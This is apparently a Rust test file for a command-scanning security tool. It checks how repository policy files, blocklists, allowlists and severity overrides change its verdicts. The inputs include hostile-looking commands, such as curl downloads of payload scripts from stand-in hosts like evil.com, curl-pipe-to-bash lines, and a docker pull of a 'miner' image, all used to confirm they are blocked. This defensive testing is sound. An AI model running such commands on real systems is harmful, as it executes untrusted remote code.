use std::fs;
use tempfile::TempDir;
use tirith_core::engine::{self, AnalysisContext};
use tirith_core::extract::ScanContext;
use tirith_core::tokenize::ShellType;
use tirith_core::verdict::{Action, RuleId, Severity};
fn make_repo(policy_yaml: &str) -> TempDir {
let tmp = TempDir::new().expect("create temp dir");
fs::create_dir_all(tmp.path().join(".git")).unwrap();
let tirith_dir = tmp.path().join(".tirith");
fs::create_dir_all(&tirith_dir).unwrap();
fs::write(tirith_dir.join("policy.yaml"), policy_yaml).unwrap();
tmp
}
fn analyze_exec(input: &str, cwd: &str) -> tirith_core::verdict::Verdict {
let ctx = AnalysisContext {
input: input.to_string(),
shell: ShellType::Posix,
scan_context: ScanContext::Exec,
raw_bytes: None,
interactive: true,
cwd: Some(cwd.to_string()),
file_path: None,
repo_root: None,
is_config_override: false,
clipboard_html: None,
};
engine::analyze(&ctx)
}
#[test]
fn test_blocklist_triggers_policy_blocklisted() {
let repo = make_repo("fail_mode: open\n");
fs::write(
repo.path().join(".tirith/blocklist"),
"malicious-cdn.example.com\n",
)
.unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://malicious-cdn.example.com/payload.sh", cwd);
assert_eq!(verdict.action, Action::Block);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted),
"Should fire PolicyBlocklisted for blocklisted URL. Findings: {:?}",
verdict
.findings
.iter()
.map(|f| &f.rule_id)
.collect::<Vec<_>>()
);
let blocklist_finding = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::PolicyBlocklisted)
.unwrap();
assert_eq!(blocklist_finding.severity, Severity::Critical);
}
#[test]
fn test_blocklist_case_insensitive() {
let repo = make_repo("fail_mode: open\n");
fs::write(repo.path().join(".tirith/blocklist"), "MALICIOUS.COM\n").unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://malicious.com/script.sh", cwd);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted),
"Blocklist should be case-insensitive"
);
}
#[test]
fn test_blocklist_substring_match() {
let repo = make_repo("fail_mode: open\n");
fs::write(repo.path().join(".tirith/blocklist"), "evil.com\n").unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://subdomain.evil.com/path", cwd);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted),
"Blocklist should match substrings"
);
}
#[test]
fn test_allowlist_filters_findings() {
let repo = make_repo("fail_mode: open\n");
fs::write(repo.path().join(".tirith/allowlist"), "bit.ly\n").unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install", cwd);
assert_eq!(
verdict.action,
Action::Allow,
"Allowlisted URL should not produce warnings. Findings: {:?}",
verdict
.findings
.iter()
.map(|f| format!("{}: {}", f.rule_id, f.title))
.collect::<Vec<_>>()
);
}
#[test]
fn test_blocklist_overrides_allowlist() {
let policy = r#"
fail_mode: open
blocklist:
- evil.com
allowlist:
- evil.com
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://evil.com/payload.sh", cwd);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted),
"Blocklist should override allowlist"
);
}
#[test]
fn test_allowlist_rules_filter_only_the_named_rule() {
let policy = r#"
fail_mode: open
allowlist_rules:
- rule_id: shortened_url
patterns:
- bit.ly
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install | bash", cwd);
assert!(
verdict
.findings
.iter()
.all(|f| f.rule_id != RuleId::ShortenedUrl),
"rule-scoped allowlist should suppress only ShortenedUrl. Findings: {:?}",
verdict
.findings
.iter()
.map(|f| format!("{}: {}", f.rule_id, f.title))
.collect::<Vec<_>>()
);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::CurlPipeShell),
"rule-scoped allowlist must not suppress unrelated rules"
);
assert_eq!(verdict.action, Action::Block);
}
#[test]
fn test_allowlist_rules_can_suppress_pipe_to_shell_for_trusted_url() {
let policy = r#"
fail_mode: open
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- example.com/install.sh
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
assert!(
verdict
.findings
.iter()
.all(|f| f.rule_id != RuleId::CurlPipeShell),
"rule-scoped allowlist should suppress CurlPipeShell for trusted URLs"
);
assert_eq!(verdict.action, Action::Allow);
}
#[test]
fn test_allowlist_rules_do_not_suppress_multi_url_pipe_when_any_url_is_untrusted() {
let policy = r#"
fail_mode: open
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- trusted.example.com/install.sh
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec(
"curl https://trusted.example.com/install.sh https://evil.example.com/payload.sh | bash",
cwd,
);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::CurlPipeShell),
"mixed trusted and untrusted URLs must keep CurlPipeShell"
);
assert_eq!(verdict.action, Action::Block);
}
#[test]
fn test_allowlist_rules_suppress_multi_url_pipe_only_when_all_urls_are_trusted() {
let policy = r#"
fail_mode: open
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- trusted.example.com/install.sh
- mirror.example.com/install.sh
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec(
"curl https://trusted.example.com/install.sh https://mirror.example.com/install.sh | bash",
cwd,
);
assert!(
verdict
.findings
.iter()
.all(|f| f.rule_id != RuleId::CurlPipeShell),
"all trusted URLs should suppress CurlPipeShell"
);
assert_eq!(verdict.action, Action::Allow);
}
#[test]
fn test_severity_override_escalates() {
let policy = r#"
severity_overrides:
shortened_url: CRITICAL
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install", cwd);
let shortened = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::ShortenedUrl);
assert!(shortened.is_some(), "Should find ShortenedUrl");
assert_eq!(
shortened.unwrap().severity,
Severity::Critical,
"severity_overrides should escalate ShortenedUrl to CRITICAL"
);
assert_eq!(verdict.action, Action::Block);
}
#[test]
fn test_severity_override_downgrades() {
let policy = r#"
severity_overrides:
curl_pipe_shell: LOW
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
let curl_pipe = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::CurlPipeShell);
assert!(curl_pipe.is_some(), "Should find CurlPipeShell");
assert_eq!(
curl_pipe.unwrap().severity,
Severity::Low,
"severity_overrides should downgrade CurlPipeShell to LOW"
);
assert_eq!(
verdict.action,
Action::Warn,
"Downgraded severity should change action from Block to Warn"
);
}
#[test]
fn test_policy_yml_extension_works() {
let tmp = TempDir::new().unwrap();
fs::create_dir_all(tmp.path().join(".git")).unwrap();
let tirith_dir = tmp.path().join(".tirith");
fs::create_dir_all(&tirith_dir).unwrap();
fs::write(
tirith_dir.join("policy.yml"),
"severity_overrides:\n shortened_url: CRITICAL\n",
)
.unwrap();
let cwd = tmp.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install", cwd);
let shortened = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::ShortenedUrl);
assert!(shortened.is_some(), "Should find ShortenedUrl");
assert_eq!(
shortened.unwrap().severity,
Severity::Critical,
".yml extension should work for policy files"
);
}
#[test]
fn test_policy_yaml_preferred_over_yml() {
let tmp = TempDir::new().unwrap();
fs::create_dir_all(tmp.path().join(".git")).unwrap();
let tirith_dir = tmp.path().join(".tirith");
fs::create_dir_all(&tirith_dir).unwrap();
fs::write(
tirith_dir.join("policy.yaml"),
"severity_overrides:\n shortened_url: CRITICAL\n",
)
.unwrap();
fs::write(
tirith_dir.join("policy.yml"),
"severity_overrides:\n shortened_url: LOW\n",
)
.unwrap();
let cwd = tmp.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install", cwd);
let shortened = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::ShortenedUrl);
assert!(shortened.is_some());
assert_eq!(
shortened.unwrap().severity,
Severity::Critical,
".yaml should take precedence over .yml"
);
}
#[test]
fn test_no_policy_uses_defaults() {
let tmp = TempDir::new().unwrap();
fs::create_dir_all(tmp.path().join(".git")).unwrap();
let cwd = tmp.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
assert_eq!(
verdict.action,
Action::Block,
"Default policy should block pipe-to-shell"
);
}
#[test]
fn test_malformed_policy_falls_back_to_default() {
let tmp = TempDir::new().unwrap();
fs::create_dir_all(tmp.path().join(".git")).unwrap();
let tirith_dir = tmp.path().join(".tirith");
fs::create_dir_all(&tirith_dir).unwrap();
fs::write(tirith_dir.join("policy.yaml"), "{{{{invalid yaml!!!!").unwrap();
let cwd = tmp.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
assert_eq!(
verdict.action,
Action::Block,
"Malformed policy should fall back to defaults"
);
}
#[test]
fn test_verdict_reports_policy_path() {
let repo = make_repo("fail_mode: open\n");
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
assert!(
verdict.policy_path_used.is_some(),
"Verdict should report the policy path"
);
let path = verdict.policy_path_used.as_ref().unwrap();
assert!(
path.contains("policy.yaml"),
"Policy path should contain 'policy.yaml', got: {path}"
);
}
#[test]
fn test_cookbook_strict_org() {
let policy = r#"
fail_mode: closed
allow_bypass_env: false
severity_overrides:
shortened_url: HIGH
plain_http_to_sink: CRITICAL
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://bit.ly/install", cwd);
let shortened = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::ShortenedUrl);
assert!(shortened.is_some());
assert_eq!(shortened.unwrap().severity, Severity::High);
assert_eq!(verdict.action, Action::Block);
}
#[test]
fn test_cookbook_docker_focused() {
let policy = r#"
severity_overrides:
docker_untrusted_registry: CRITICAL
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("docker pull evil-registry.com/miner", cwd);
let docker_finding = verdict
.findings
.iter()
.find(|f| f.rule_id == RuleId::DockerUntrustedRegistry);
assert!(docker_finding.is_some());
assert_eq!(docker_finding.unwrap().severity, Severity::Critical);
assert_eq!(verdict.action, Action::Block);
}
#[test]
fn test_cookbook_learning_mode() {
let policy = r#"
severity_overrides:
curl_pipe_shell: LOW
wget_pipe_shell: LOW
pipe_to_interpreter: LOW
punycode_domain: LOW
confusable_domain: LOW
"#;
let repo = make_repo(policy);
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://example.com/install.sh | bash", cwd);
assert_eq!(
verdict.action,
Action::Warn,
"Learning mode should reduce curl|bash from Block to Warn"
);
}
#[test]
fn test_org_lists_merged_into_policy() {
let repo = make_repo("fail_mode: open\n");
let tirith_dir = repo.path().join(".tirith");
fs::write(tirith_dir.join("blocklist"), "blocked-cdn.example.com\n").unwrap();
fs::write(tirith_dir.join("allowlist"), "bit.ly\n").unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://blocked-cdn.example.com/script.sh", cwd);
assert!(
verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted),
"Org blocklist should be merged into policy"
);
let verdict = analyze_exec("curl https://bit.ly/safe-link", cwd);
assert_eq!(
verdict.action,
Action::Allow,
"Org allowlist should filter findings"
);
}
#[test]
fn test_blocklist_ignores_comments() {
let repo = make_repo("fail_mode: open\n");
fs::write(
repo.path().join(".tirith/blocklist"),
"# This is a comment\nevil.com\n# Another comment\n",
)
.unwrap();
let cwd = repo.path().to_str().unwrap();
let verdict = analyze_exec("curl https://evil.com/payload.sh", cwd);
assert!(verdict
.findings
.iter()
.any(|f| f.rule_id == RuleId::PolicyBlocklisted));
}